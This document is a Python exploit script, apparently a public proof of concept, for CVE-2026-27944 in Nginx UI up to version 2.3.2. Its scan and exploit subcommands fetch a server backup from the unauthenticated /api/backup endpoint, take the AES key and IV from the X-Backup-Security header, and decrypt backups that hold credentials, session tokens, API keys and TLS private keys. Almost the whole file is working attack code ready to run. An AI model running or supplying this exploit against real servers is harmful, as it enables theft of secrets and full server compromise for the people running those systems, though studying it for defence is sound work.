#!/usr/bin/env python3 """ CVE-2026-27944.py - Nginx UI Unauthenticated Backup Download & Decryption Critical vulnerability in Nginx UI <= 2.3.2 allows unauthenticated attackers to download and decrypt server backups via /api/backup. """ import argparse import base64 import sys import os import requests from requests.exceptions import RequestException print(""" ███╗░░██╗██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░░█████╗░░█████╗░  ░█████╗░██╗░░██╗ ████╗░██║██║░░░██║██║░░░░░██║░░░░░╚════██╗██╔══██╗██╔══██╗  ██╔══██╗██║░██╔╝ ██╔██╗██║██║░░░██║██║░░░░░██║░░░░░░░███╔═╝██║░░██║██║░░██║  ██║░░██║█████═╝░ ██║╚████║██║░░░██║██║░░░░░██║░░░░░██╔══╝░░██║░░██║██║░░██║  ██║░░██║██╔═██╗░ ██║░╚███║╚██████╔╝███████╗███████╗███████╗╚█████╔╝╚█████╔╝  ╚█████╔╝██║░╚██╗ ╚═╝░░╚══╝░╚═════╝░╚══════╝╚══════╝╚══════╝░╚════╝░░╚════╝░  ░╚════╝░╚═╝░░╚═╝ CVE-2026-27944.py - Nginx UI Unauthenticated Backup Download & Decryption Critical vulnerability in Nginx UI <= 2.3.2 allows unauthenticated attackers to download and decrypt server backups via /api/backup. – NULL200OL-AI💀🔥created by NABEEL """) # Optional cryptography library try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad CRYPTO_AVAILABLE = True except ImportError: CRYPTO_AVAILABLE = False # ==================== CVE Information ==================== CVE_ID = "CVE-2026-27944" CVE_DESCRIPTION = ( "Nginx UI up to version 2.3.2 contains a critical vulnerability where the " "/api/backup endpoint allows unauthenticated attackers to download a full " "server backup. The backup is encrypted with AES-256, but the encryption key " "and Initialization Vector (IV) are exposed in plaintext in the " "X-Backup-Security HTTP response header. This allows immediate decryption." ) CVE_CAUSE = ( "The vulnerability stems from two design flaws:\n" " 1. Missing authentication on the /api/backup endpoint (CWE-306).\n" " 2. Exposure of encryption keys in the HTTP response header (CWE-311)." ) CVE_IMPACT = ( "An attacker can gain access to:\n" " - User credentials and session tokens (database.db)\n" " - Application secrets and API keys (app.ini)\n" " - SSL private keys and certificates (server.key, server.cert)\n" " - Full Nginx configuration (nginx.conf)\n" " - TLS keys for all hosted domains (ssl/ directory)\n" "This typically leads to full server compromise and lateral movement." ) # ==================== Helper Functions ==================== def normalize_target(target): """Add http:// if no scheme is present.""" if not target.startswith(('http://', 'https://')): target = 'http://' + target return target.rstrip('/') def print_info(): """Display detailed CVE information.""" print(f"[+] {CVE_ID} - Nginx UI Backup Exposure") print("=" * 60) print("Description:") print(CVE_DESCRIPTION) print("\nWhy it happens:") print(CVE_CAUSE) print("\nImpact:") print(CVE_IMPACT) print("=" * 60) def check_vulnerability(target, timeout=10): """ Check if target is vulnerable. Returns (is_vulnerable, headers, content_length) or (False, None, 0) on error. """ url = normalize_target(target) + "/api/backup" try: # Use a HEAD request first to minimize data transfer resp_head = requests.head(url, timeout=timeout, allow_redirects=False) if resp_head.status_code == 200 and 'X-Backup-Security' in resp_head.headers: # Now do a GET to confirm (but we only need headers for scan) # For scan, we don't need the body, just the header presence. return True, resp_head.headers, int(resp_head.headers.get('Content-Length', 0)) else: return False, None, 0 except RequestException as e: print(f"[-] Error connecting to {url}: {e}") return False, None, 0 def download_and_decrypt(target, output_file, timeout=30): """ Exploit the vulnerability: download encrypted backup, extract key/IV, decrypt and save to output_file. """ if not CRYPTO_AVAILABLE: print("[-] Crypto library not available. Please install pycryptodome:") print(" pip install pycryptodome") sys.exit(1) url = normalize_target(target) + "/api/backup" try: # Stream the download to handle large files with requests.get(url, stream=True, timeout=timeout) as r: if r.status_code != 200: print(f"[-] Server returned HTTP {r.status_code}. Not vulnerable or endpoint missing.") return False # Extract key and IV from header security_header = r.headers.get('X-Backup-Security') if not security_header: print("[-] X-Backup-Security header not found. Target may not be vulnerable.") return False try: key_b64, iv_b64 = security_header.split(':') key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) except (ValueError, TypeError) as e: print(f"[-] Failed to parse X-Backup-Security header: {security_header}") return False if len(key) != 32 or len(iv) != 16: print(f"[-] Invalid key or IV length. Key: {len(key)} bytes (expected 32), IV: {len(iv)} bytes (expected 16)") return False print(f"[+] Key extracted ({len(key)} bytes), IV extracted ({len(iv)} bytes)") # Read encrypted data encrypted_data = b'' for chunk in r.iter_content(chunk_size=8192): encrypted_data += chunk print(f"[+] Downloaded encrypted backup: {len(encrypted_data)} bytes") # Decrypt cipher = AES.new(key, AES.MODE_CBC, iv) try: decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size) except ValueError as e: # Padding may be incorrect; try without unpadding (raw decrypt) print("[!] Padding error, attempting raw decryption (data may be incomplete)") decrypted_data = cipher.decrypt(encrypted_data) # Save to file with open(output_file, 'wb') as f: f.write(decrypted_data) print(f"[+] Decrypted backup saved to {output_file}") print("[!] IMPORTANT: The decrypted file is likely a ZIP archive. Rename it to .zip and inspect.") return True except RequestException as e: print(f"[-] Error during exploit: {e}") return False except Exception as e: print(f"[-] Unexpected error: {e}") return False # ==================== Main CLI ==================== def main(): parser = argparse.ArgumentParser( description=f"{CVE_ID} - Nginx UI Backup Exposure Scanner & Exploit", epilog="Use 'info' command for detailed vulnerability information." ) subparsers = parser.add_subparsers(dest='command', required=True, help='Subcommands') # Info command subparsers.add_parser('info', help='Display detailed information about the CVE') # Scan command scan_parser = subparsers.add_parser('scan', help='Check if a target is vulnerable') scan_parser.add_argument('target', help='Target URL or IP:port (e.g., 192.168.1.100:9000)') scan_parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)') # Exploit command exploit_parser = subparsers.add_parser('exploit', help='Download and decrypt the backup') exploit_parser.add_argument('target', help='Target URL or IP:port') exploit_parser.add_argument('--output', '-o', default='backup_decrypted.bin', help='Output file for decrypted backup (default: backup_decrypted.bin)') exploit_parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds (default: 30)') args = parser.parse_args() if args.command == 'info': print_info() sys.exit(0) # Commands that require target if args.command == 'scan': print(f"[*] Scanning {args.target} for {CVE_ID}...") vuln, headers, size = check_vulnerability(args.target, timeout=args.timeout) if vuln: print(f"[+] Target is VULNERABLE!") print(f" - X-Backup-Security header present") print(f" - Estimated backup size: {size} bytes") # Optionally print the header value (masked) sec = headers.get('X-Backup-Security', '') if sec: print(f" - Header: {sec[:20]}... (truncated)") else: print("[-] Target does not appear to be vulnerable (or endpoint unreachable).") sys.exit(0) if args.command == 'exploit': print(f"[*] Exploiting {args.target} for {CVE_ID}...") success = download_and_decrypt(args.target, args.output, timeout=args.timeout) if success: print("[+] Exploit completed successfully.") else: print("[-] Exploit failed.") sys.exit(1) sys.exit(0) if __name__ == '__main__': main()